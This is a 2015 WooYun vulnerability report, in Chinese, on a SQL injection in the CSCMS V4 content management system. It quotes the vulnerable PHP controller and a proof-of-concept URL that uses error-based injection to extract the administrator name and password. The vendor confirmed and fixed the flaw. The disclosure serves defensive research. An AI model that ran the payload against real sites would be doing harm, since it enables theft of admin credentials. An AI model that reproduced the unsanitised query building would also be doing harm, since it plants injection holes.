当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113520

漏洞标题:CSCMS V4 最新版 SQL注入

相关厂商:chshcms.com

漏洞作者: zxx

提交时间:2015-05-13 12:32

修复时间:2015-08-11 18:22

公开时间:2015-08-11 18:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-13: 细节已通知厂商并且等待厂商处理中
2015-05-13: 厂商已经确认,细节仅向厂商公开
2015-07-07: 细节向核心白帽子及相关领域专家公开
2015-07-17: 细节向普通白帽子公开
2015-07-27: 细节向实习白帽子公开
2015-08-11: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

Cscms v4.0.1 Release 20150511

详细说明:

Cscms v4.0.1 Release 20150511今天刚刚更新
/cscms/app/controllers/api/count.php中

function __construct(){
parent::__construct();
$this->load->library('user_agent');
if(!$this->agent->is_referral()) show_error('您访问的页面不存在~!',404,Web_Name.'提醒您'); //判断referrer,这里得有一个referrer才行。
//关闭数据库缓存
$this->db->cache_off();
}
//版块数据统计 //sqlin
public function index()
{
$count=0;
$param=$this->input->get('param',true,true); //接收param,并对特殊字符进行过滤
if(!empty($param)){
$str=explode('|', $param);//param参数|前为table名
$table=$str[0];
if(!empty($table) && $this->db->table_exists(CS_SqlPrefix.$table)){
$sql="";
for($j=1;$j<count($str);$j++){
$v=explode('=', $str[$j]);
if($v[0]=='times'){
$k=explode('-', $v[1]);
$fidel=$k[0];
$day=intval($k[1]);
$times=strtotime(date('Y-m-d 0:0:0'))-$day*86400;
$sql.="and ".$fidel.">".$times." ";
}else{
if(!empty($v[1])){
$sql.="and ".$v[0]."='".$v[1]."' ";
}else{
$sql.="and ".$str[$j]." "; //直接走这一条路径吧 让param=session|注入语句
}
}
}
if(substr($sql,0,3)=='and') $sql=substr($sql,3);
if(!empty($sql)) $sql=" where".$sql;
$sql="select id from `".CS_SqlPrefix.$table."` ".$sql;
$count=$this->db->query($sql)->num_rows();
}
}
echo 'document.writeln("'.$count.'")';
}
}


POC:
http://localhost/index.php/api/count/index?param=session|(select/**/1/**/from/**/(select/**/count(*),concat((select/**/concat(adminname,0x5f,adminpass)/**/from/**/v4_admin/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)/**/

漏洞证明:

屏幕快照 2015-05-11 下午9.34.20.png

修复方案:

版权声明:转载请注明来源 zxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-05-13 18:21

厂商回复:

经过检测,漏洞确实存在,
官方已经修复,
感谢您的检测~

最新状态:

2015-06-04:已经修复